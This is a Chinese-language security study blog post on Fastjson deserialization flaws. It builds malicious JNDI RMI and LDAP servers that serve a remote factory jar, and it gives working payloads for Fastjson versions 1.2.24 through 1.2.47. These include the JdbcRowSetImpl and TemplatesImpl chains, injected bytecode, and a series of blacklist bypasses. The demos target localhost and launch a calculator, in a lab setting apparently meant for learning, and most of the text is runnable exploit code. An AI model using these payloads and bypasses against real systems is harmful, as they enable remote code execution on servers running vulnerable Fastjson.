Fastjson 反序列化

Fastjson 反序列化

参考文章

JAVA反序列化—FastJson组件 – 先知社区 (aliyun.com)

FastJson 反序列化学习 (lmxspace.com)

Java Security (iv4n.cc)

Fastjson 反序列化漏洞史 (seebug.org)

Fastjson 流程分析及 RCE 分析 (seebug.org)

Java 中 RMI、JNDI、LDAP、JRMP、JMX、JMS那些事儿(上)

攻击Java Web应用 Java Web安全] (zhishihezi.net)

环境搭建

推荐使用IDEA+MAVEN,具体配置可以参考网上其他文章。

Java: 1.8.0_271-b09

JNDI-Reference

from 攻击Java Web应用 Java Web安全] (zhishihezi.net)

使用创建恶意的ObjectFactory对象

ReferenceObjectFactory

package com.fe1w0.jndi.injection;

import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.util.Hashtable;

/**
 * 引用对象创建工厂
 */
public class ReferenceObjectFactory implements ObjectFactory {

    /**
     * @param obj  包含可在创建对象时使用的位置或引用信息的对象(可能为 null)。
     * @param name 此对象相对于 ctx 的名称,如果没有指定名称,则该参数为 null。
     * @param ctx  一个上下文,name 参数是相对于该上下文指定的,如果 name 相对于默认初始上下文,则该参数为 null。
     * @param env  创建对象时使用的环境(可能为 null)。
     * @return 对象工厂创建出的对象
     * @throws Exception 对象创建异常
     */
    public Object getObjectInstance(Object obj, Name name, Context ctx, Hashtable<?, ?> env) throws Exception {
        // 在创建对象过程中插入恶意的攻击代码,或者直接创建一个本地命令执行的Process对象从而实现RCE
        return Runtime.getRuntime().exec("calc.exe");
    }
}

jar 打包为 jndi-test.jar

mkdir classes # JavaSec 目录下
javac -d classes .\src\main\java\com\fe1w0\jndi\injection\ReferenceObjectFactory.ja
va
#新建 MANIFEST.MF,并输入以下内容,注意最后加个回车
Main-Class: com.fe1w0.jndi.injection.ReferenceObjectFactory

jar cfm jdni-test.jar .\MANIFEST.MF -C classes . # 最后

python 开启web服务

python3 -m http.server 8000

包含恶意攻击的RMI服务端

RMIReferenceServerTest

package com.fe1w0.jndi.injection;

import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.Reference;
import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;

public class RMIReferenceServerTest {
    public static final String RMI_HOST = "127.0.0.1";
    public static final int RMI_PORT = 9527;
    public static final String RMI_NAME = "rmi://" + RMI_HOST + ":" + RMI_PORT + "/test";

    public static void main(String[] args) {
        try {
            // 定义一个远程的jar,jar中包含一个恶意攻击的对象的工厂类
            String url = "http://localhost/jndi-test.jar";

            // 对象的工厂类名
            String className = "com.fe1w0.jndi.injection.ReferenceObjectFactory";

            // 监听RMI服务端口
            LocateRegistry.createRegistry(RMI_PORT);

            // 创建一个远程的JNDI对象工厂类的引用对象
            Reference reference = new Reference(className, className, url);

            // 转换为RMI引用对象
            ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);

            // 绑定一个恶意的Remote对象到RMI服务
            Naming.bind(RMI_NAME, referenceWrapper);

            System.out.println("RMI服务启动成功,服务地址:" + RMI_NAME);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

}

RMI 客户端

package com.fe1w0.jndi.injection;

import javax.naming.InitialContext;
import javax.naming.NamingException;

import static com.fe1w0.jndi.injection.RMIReferenceServerTest.RMI_NAME;

public class RMIReferenceClientTest {

    public static void main(String[] args) {
        try {
//       // 测试时如果需要允许调用RMI远程引用对象加载请取消如下注释
       System.setProperty("java.rmi.server.useCodebaseOnly", "false");
       System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");

            InitialContext context = new InitialContext();

            // 获取RMI绑定的恶意ReferenceWrapper对象
            Object obj = context.lookup(RMI_NAME);

            System.out.println(obj);
        } catch (NamingException e) {
            e.printStackTrace();
        }
    }

}
image-20210220113924113

创建恶意的LDAP服务

package com.fe1w0.jndi.injection;

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;

public class LDAPReferenceServerTest {

    // 设置LDAP服务端口
    public static final int SERVER_PORT = 3890;

    // 设置LDAP绑定的服务地址,外网测试换成0.0.0.0
    public static final String BIND_HOST = "127.0.0.1";

    // 设置一个实体名称
    public static final String LDAP_ENTRY_NAME = "test";

    // 获取LDAP服务地址
    public static String LDAP_URL = "ldap://" + BIND_HOST + ":" + SERVER_PORT + "/" + LDAP_ENTRY_NAME;

    // 定义一个远程的jar,jar中包含一个恶意攻击的对象的工厂类
    public static final String REMOTE_REFERENCE_JAR = "http://localhost/jndi-test.jar";

    // 设置LDAP基底DN
    private static final String LDAP_BASE = "dc=xzaslxr,dc=xyz";

    public static void main(String[] args) {
        try {
            // 创建LDAP配置对象
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);

            // 设置LDAP监听配置信息
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen", InetAddress.getByName(BIND_HOST), SERVER_PORT,
                    ServerSocketFactory.getDefault(), SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault())
            );

            // 添加自定义的LDAP操作拦截器
            config.addInMemoryOperationInterceptor(new OperationInterceptor());

            // 创建LDAP服务对象
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);

            // 启动服务
            ds.startListening();

            System.out.println("LDAP服务启动成功,服务地址:" + LDAP_URL);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    private static class OperationInterceptor extends InMemoryOperationInterceptor {

        @Override
        public void processSearchResult(InMemoryInterceptedSearchResult result) {
            String base  = result.getRequest().getBaseDN();
            Entry  entry = new Entry(base);

            try {
                // 设置对象的工厂类名
                String className = "com.fe1w0.jndi.injection.ReferenceObjectFactory";
                entry.addAttribute("javaClassName", className);
                entry.addAttribute("javaFactory", className);

                // 设置远程的恶意引用对象的jar地址
                entry.addAttribute("javaCodeBase", REMOTE_REFERENCE_JAR);

                // 设置LDAP objectClass
                entry.addAttribute("objectClass", "javaNamingReference");

                result.sendSearchEntry(entry);
                result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
            } catch (Exception e1) {
                e1.printStackTrace();
            }
        }

    }

}

LDAP客户端代码

package com.fe1w0.jndi.injection;

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;

import static com.fe1w0.jndi.injection.LDAPReferenceServerTest.LDAP_URL;

public class LDAPReferenceClientTest {

    public static void main(String[] args) {
        try {
//       // 测试时如果需要允许调用RMI远程引用对象加载请取消如下注释
       System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");

            Context ctx = new InitialContext();

            // 获取RMI绑定的恶意ReferenceWrapper对象
            Object obj = ctx.lookup(LDAP_URL);

            System.out.println(obj);
        } catch (NamingException e) {
            e.printStackTrace();
        }
    }

}
image-20210220114735293

简单Demo (fastjson=1.2.24)

From

Fastjson 反序列化漏洞史 (seebug.org)

FastJson 反序列化学习 (lmxspace.com)

  • User
package com.fe1w0.test;

public class User {
    private String name; //私有属性,有getter、setter方法
    private int age; //私有属性,有getter、setter方法
    private boolean flag; //私有属性,有is、setter方法
    public String sex; //公有属性,有getter、setter方法
    public String address; //公有属性,无getter、setter方法


    public User() {
        System.out.println("call User default Constructor");
    }

    public String getName() {
        System.out.println("call User getName");
        return name;
    }

    public void setName(String name) {
        System.out.println("call User setName");
        this.name = name;
    }

    public int getAge() {
        System.out.println("call User getAge");
        return age;
    }

    public void setAge(int age) {
        System.out.println("call User setAge");
        this.age = age;
    }

    public boolean isFlag() {
        System.out.println("call User isFlag");
        return flag;
    }

    public void setFlag(boolean flag) {
        System.out.println("call User setFlag");
        this.flag = flag;
    }

    public void setSex(String sex){
        System.out.println("call User setSex");
        this.sex = sex;
    }
    public String getSex(){
        System.out.println("call User getSex");
        return this.sex;
    }

    @Override
    public String toString() {
        return "User{" +
                "name='" + name + '\'' +
                ", age=" + age +
                ", flag=" + flag +
                ", sex='" + sex + '\'' +
                ", address='" + address + '\'' +
                '}';
    }
}

需要注意的是setter、getter 的设置

set开头的方法要求如下:

  • 方法名长度大于4且以set开头,且第四个字母要是大写
  • 非静态方法
  • 返回类型为void或当前类
  • 参数个数为1个

get开头的方法要求如下:

  • 方法名长度大于等于4
  • 非静态方法
  • 以get开头且第4个字母为大写
  • 无传入参数
  • 返回值类型继承自Collection Map AtomicBoolean AtomicInteger AtomicLong

可以见JAVA反序列化—FastJson组件 – 先知社区 (aliyun.com)

  • TestFastjson
package com.fe1w0.test;

import com.alibaba.fastjson.JSON;

public class TestFastjson {
    public static void main(String[] args) {
        //序列化
        String serializedStr = "{\"@type\":\"om.fe1w0.test.User\",\"name\":\"lala\",\"age\":11, \"flag\": true,\"sex\":\"boy\",\"address\":\"china\"}";//
        System.out.println("serializedStr=" + serializedStr);

        System.out.println("-----------------------------------------------\n\n");
        //通过parse方法进行反序列化,返回的是一个JSONObject
        System.out.println("JSON.parse(serializedStr):");
        Object obj1 = JSON.parse(serializedStr);
        System.out.println("parse反序列化对象名称:" + obj1.getClass().getName());
        System.out.println("parse反序列化:" + obj1);
        System.out.println("-----------------------------------------------\n");

        //通过parseObject,不指定类,返回的是一个JSONObject
        System.out.println("JSON.parseObject(serializedStr):");
        Object obj2 = JSON.parseObject(serializedStr);
        System.out.println("parseObject反序列化对象名称:" + obj2.getClass().getName());
        System.out.println("parseObject反序列化:" + obj2);
        System.out.println("-----------------------------------------------\n");

        //通过parseObject,指定为object.class
        System.out.println("JSON.parseObject(serializedStr, Object.class):");
        Object obj3 = JSON.parseObject(serializedStr, Object.class);
        System.out.println("parseObject反序列化对象名称:" + obj3.getClass().getName());
        System.out.println("parseObject反序列化:" + obj3);
        System.out.println("-----------------------------------------------\n");

        //通过parseObject,指定为User.class
        System.out.println("JSON.parseObject(serializedStr, User.class):");
        Object obj4 = JSON.parseObject(serializedStr, User.class);
        System.out.println("parseObject反序列化对象名称:" + obj4.getClass().getName());
        System.out.println("parseObject反序列化:" + obj4);
        System.out.println("-----------------------------------------------\n");
    }
}

Output:

serializedStr={"@type":"com.fe1w0.test.User","name":"fe1w0","age":11, "flag": true,"sex":"boy","address":"china"}
-----------------------------------------------


JSON.parse(serializedStr):
call User default Constructor
call User setName
call User setAge
call User setFlag
call User setSex
parse反序列化对象名称:com.fe1w0.test.User
parse反序列化:User{name='fe1w0', age=11, flag=true, sex='boy', address='china'}
-----------------------------------------------

JSON.parseObject(serializedStr):
call User default Constructor
call User setName
call User setAge
call User setFlag
call User setSex
call User getAge
call User isFlag
call User getName
call User getSex
parseObject反序列化对象名称:com.alibaba.fastjson.JSONObject
parseObject反序列化:{"address":"china","flag":true,"sex":"boy","name":"fe1w0","age":11}
-----------------------------------------------

JSON.parseObject(serializedStr, Object.class):
call User default Constructor
call User setName
call User setAge
call User setFlag
call User setSex
parseObject反序列化对象名称:com.fe1w0.test.User
parseObject反序列化:User{name='fe1w0', age=11, flag=true, sex='boy', address='china'}
-----------------------------------------------

JSON.parseObject(serializedStr, User.class):
call User default Constructor
call User setName
call User setAge
call User setFlag
call User setSex
parseObject反序列化对象名称:com.fe1w0.test.User
parseObject反序列化:User{name='fe1w0', age=11, flag=true, sex='boy', address='china'}
-----------------------------------------------

根据上面输出,可以得到下面以下结论(注意Fastjson版本)

  • JSON.parse(serializedStr)

@type是正确的时候,会根据@type来选择解析,否则解析为JSONObject

  • JSON.parseObject(serializedStr)

解析为JSONObject,但会根据根据@type的解析类生成。若@type是不正确的时候,会直接为JSON字符串

  • JSON.parseObject(serializedStr, Object.class)

@type是正确的时候,会根据@type来选择解析,否则解析为JSONObject

  • JSON.parseObject(serializedStr, User.class)

@type是正确的时候,会根据@type来选择解析,否则会报错type not match

其中底层源代码分析,可以看(具体分析,自己看完还是有点乱😢)

FastJson 反序列化学习 (lmxspace.com)

@type

指定的解析类,即com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl,Fastjson根据指定类去反序列化得到该类的实例,在默认情况下只会去反序列化public修饰的属性,在poc中,_bytecodes_name都是私有属性,所以要想反序列化这两个,需要在parseObject()时设置Feature.SupportNonPublicField

_bytecodes

是我们把恶意类的.class文件二进制格式进行base64编码后得到的字符串

_outputProperties

漏洞利用链的关键会调用其参数的getOutputProperties方法 导致命令执行

_tfactory:{}

在defineTransletClasses()时会调用getExternalExtensionsMap(),当为null时会报错,所以要对_tfactory 设值

ver<=1.2.24

1.2.24及之前没有任何防御,并且autotype默认开启

com.sun.rowset.JdbcRowSetImpl利用链

payload: (fastjson=1.2.24 java=1.8.0_181)

package com.fe1w0.fastjson.test;

import com.alibaba.fastjson.JSON;

public class testJdbcRowSetImpl {
    public static void main(String[] args) {
        String payload = "{\"rand1\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://127.0.0.1:3890/test\",\"autoCommit\":true}}";
        JSON.parse(payload);
//        JSON.parseObject(payload);
//        JSON.parseObject(payload,Object.class);
    }
}
image-20210220125506946

大致原理

from 攻击Java Web应用 Java Web安全] (zhishihezi.net)

FastJson在反序列化JSON对象时候会通过反射自动创建类实例且FastJson会根据传入的JSON字段间接的调用类成员变量的setXXX方法。FastJson这个反序列化功能看似无法实现RCE,但是有人找出多个符合JNDI注入漏洞利用条件的Java类(如:com.sun.rowset.JdbcRowSetImpl)从而实现了RCE

JdbcRowSetImpl示例:

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="com.sun.rowset.JdbcRowSetImpl" %>
<%
    JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
    jdbcRowSet.setDataSourceName(request.getParameter("url"));
    jdbcRowSet.setAutoCommit(true);
%>

假设我们能够动态的创建出JdbcRowSetImpl类实例且可以间接的调用setDataSourceNamesetAutoCommit方法,那么就有可能实现JNDI注入攻击。FastJson使用JdbcRowSetImpl实现JNDI注入攻击的大致的流程如下:

  1. 反射创建com.sun.rowset.JdbcRowSetImpl对象。
  2. 反射调用setDataSourceName方法,设置JNDIURL
  3. 反射调用setAutoCommit方法,该方法会试图使用JNDI获取数据源(DataSource)对象。
  4. 调用lookup方法去查找我们注入的URL所绑定的恶意的JNDI远程引用对象。
  5. 执行恶意的类对象工厂方法实现RCE。

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl利用链

payload (fastjson=1.2.24 java=1.8.0_181))

package com.fe1w0.fastjson.test;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.codec.binary.Base64;

public class testTemplatesImpl {
    public static void main(String[] args) throws Exception {
        String evilCode_base64 = readClass();
        final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
        String payload = "{'rand1':{" +
                "\"@type\":\"" + NASTY_CLASS + "\"," +
                "\"_bytecodes\":[\"" + evilCode_base64 + "\"]," +
                "'_name':'aaa'," +
                "'_tfactory':{}," +
                "'_outputProperties':{}" +
                "}}\n";
        System.out.println(payload);
        JSON.parse(payload, Feature.SupportNonPublicField); //成功
        //JSON.parseObject(payload, Feature.SupportNonPublicField); 成功
        //JSON.parseObject(payload, Object.class, Feature.SupportNonPublicField); 成功
        //JSON.parseObject(payload, User.class, Feature.SupportNonPublicField); 成功
    }

    public static class AaAa {

    }

    public static String readClass() throws Exception {
        ClassPool pool = ClassPool.getDefault();
        CtClass cc = pool.get(AaAa.class.getName());
        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
        cc.makeClassInitializer().insertBefore(cmd);
        String randomClassName = "AaAa" + System.nanoTime();
        cc.setName(randomClassName);
        cc.setSuperclass((pool.get(AbstractTranslet.class.getName())));
        byte[] evilCode = cc.toBytecode();

        return Base64.encodeBase64String(evilCode);

    }
}
image-20210220125446222

漏洞分析可以看

[fastjson 远程反序列化poc的构造和分析 | xxlegend](http://xxlegend.com/2017/04/29/title- fastjson 远程反序列化poc的构造和分析/)

ver>=1.2.25&ver<=1.2.41

@type添加L;绕过

ver=1.2.24时,添加AutoTypeSupport,默认不允许使用autotype,且加入了采用黑名单和白名单检查型式的checkAutotype函数

  • checkAutotype (ver =1.2.41)
 public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) {
        if (typeName == null) {
            return null;
        } else if (typeName.length() >= 128) {
            throw new JSONException("autoType is not support. " + typeName);
        } else {
            String className = typeName.replace('$', '.');// 替换
            Class<?> clazz = null;
            int mask;
            String accept;
            if (this.autoTypeSupport || expectClass != null) {
                for(mask = 0; mask < this.acceptList.length; ++mask) {
                    accept = this.acceptList[mask];
                    if (className.startsWith(accept)) {
                        clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader, false);
                        if (clazz != null) {
                            return clazz;
                        }
                    }
                }

                for(mask = 0; mask < this.denyList.length; ++mask) {
                    accept = this.denyList[mask];
                    if (className.startsWith(accept) && TypeUtils.getClassFromMapping(typeName) == null) {
                        throw new JSONException("autoType is not support. " + typeName);
                    }
                }
            }

            if (clazz == null) {
                clazz = TypeUtils.getClassFromMapping(typeName);
            }

            if (clazz == null) {
                clazz = this.deserializers.findClass(typeName);
            }

            if (clazz != null) {
                if (expectClass != null && clazz != HashMap.class && !expectClass.isAssignableFrom(clazz)) {
                    throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
                } else {
                    return clazz;
                }
            } else {
                if (!this.autoTypeSupport) {
                    for(mask = 0; mask < this.denyList.length; ++mask) {
                        accept = this.denyList[mask];
                        if (className.startsWith(accept)) {
                            throw new JSONException("autoType is not support. " + typeName);
                        }
                    }

                    for(mask = 0; mask < this.acceptList.length; ++mask) {
                        accept = this.acceptList[mask];
                        if (className.startsWith(accept)) {
                            if (clazz == null) {
                                clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader, false);
                            }

                            if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
                                throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
                            }

                            return clazz;
                        }
                    }
                }

                if (clazz == null) {
                    clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader, false);
                }

                if (clazz != null) {
                    if (TypeUtils.getAnnotation(clazz, JSONType.class) != null) {
                        return clazz;
                    }

                    if (ClassLoader.class.isAssignableFrom(clazz) || DataSource.class.isAssignableFrom(clazz)) {
                        throw new JSONException("autoType is not support. " + typeName);
                    }

                    if (expectClass != null) {
                        if (expectClass.isAssignableFrom(clazz)) {
                            return clazz;
                        }

                        throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
                    }

                    JavaBeanInfo beanInfo = JavaBeanInfo.build(clazz, clazz, this.propertyNamingStrategy);
                    if (beanInfo.creatorConstructor != null && this.autoTypeSupport) {
                        throw new JSONException("autoType is not support. " + typeName);
                    }
                }

                mask = Feature.SupportAutoType.mask;
                boolean autoTypeSupport = this.autoTypeSupport || (features & mask) != 0 || (JSON.DEFAULT_PARSER_FEATURE & mask) != 0;
                if (!autoTypeSupport) {
                    throw new JSONException("autoType is not support. " + typeName);
                } else {
                    return clazz;
                }
            }
        }
    }

我们已一开始的testJdbcRowSetImpl进行debug,

package com.fe1w0.fastjson.test;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

public class testJdbcRowSetImpl {
    public static void main(String[] args) {
        String payload = "{\"rand1\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://127.0.0.1:3890/test\",\"autoCommit\":true}}";
        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);// 注意要 setAutoTypeSupport(true)
        JSON.parse(payload);
//        JSON.parseObject(payload);
//        JSON.parseObject(payload,Object.class);
    }
}

发现throw发生在以下检查中对黑名单的检查

            if (this.autoTypeSupport || expectClass != null) {
                for(mask = 0; mask < this.acceptList.length; ++mask) {
                    accept = this.acceptList[mask];
                    if (className.startsWith(accept)) {
                        clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader, false);
                        if (clazz != null) {
                            return clazz;
                        }
                    }
                }

                for(mask = 0; mask < this.denyList.length; ++mask) {
                    accept = this.denyList[mask];
                    if (className.startsWith(accept) && TypeUtils.getClassFromMapping(typeName) == null) {
                        throw new JSONException("autoType is not support. " + typeName);
                    }
                }
            }

我们可以将在@type前面添加L;以绕过上面对黑名单的检测,如Lcom.sun.rowset.JdbcRowSetImpl;

因在@type前面添加L;的形式,可以被 TypeUtils.LoadClass处理

    public static Class<?> loadClass(String className, ClassLoader classLoader, boolean cache) {
        if (className != null && className.length() != 0) {
            Class<?> clazz = (Class)mappings.get(className);
            if (clazz != null) {
                return clazz;
            } else if (className.charAt(0) == '[') {
                Class<?> componentType = loadClass(className.substring(1), classLoader);
                return Array.newInstance(componentType, 0).getClass();
            } else if (className.startsWith("L") && className.endsWith(";")) {
                String newClassName = className.substring(1, className.length() - 1);
                return loadClass(newClassName, classLoader);
            } else {
image-20210220132951916

Payload

payload = "{\"rand1\":{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\",\"dataSourceName\":\"ldap://127.0.0.1:3890/test\",\"autoCommit\":true}}";
image-20210220133153708

ver=1.2.42

双写L;绕过

大致流程还是和之前一样,多了

            if (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(className.length() - 1)) * 1099511628211L == 655701488918567152L) {
                className = className.substring(1, className.length() - 1);
            }
image-20210220134634906

会将前后L;去掉,并将原来的将黑名单转换成了类名十进制hash

payload

payload = "{\"rand1\":{\"@type\":\"LLcom.sun.rowset.JdbcRowSetImpl;;\",\"dataSourceName\":\"ldap://127.0.0.1:3890/test\",\"autoCommit\":true}}";

ver=1.2.43

[]形式绕过

1.2.43对于1.2.42的绕过修复方式:

image-20210220135451290

在第一个if条件之下(L开头,;结尾),又加了一个以LL开头的条件,如果第一个条件满足并且以LL开头,直接抛异常。所以这种修复方式没法在绕过了。但是上面的loadclass除了L;做了特殊处理外,[也被特殊处理了,又再次绕过了checkAutoType:

payload

payload = "{\"rand1\":{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[{\"dataSourceName\":\"ldap://localhost:3890/test\",\"autoCommit\":true]}}\n";

ver=1.2.45

绕过黑名单,org.apache.ibatis.datasource.jndi.JndiDataSourceFactory

payload = "{\"@type\":\"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory\",\"properties\":{\"data_source\":\"ldap://localhost:3890/test\"}}";

ver=1.2.47

from

Java Security | Iv4n’s Blog

通过缓存,无需开启autotype

payload = = "{\"a\":{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},\"b\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://127.0.0.1:3890/test\",\"autoCommit\":true}}}";

详细见 FastJson 反序列化学习 (lmxspace.com)

ver=1.2.48

修补: 将cache默认设置为false,无法再利用缓存

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇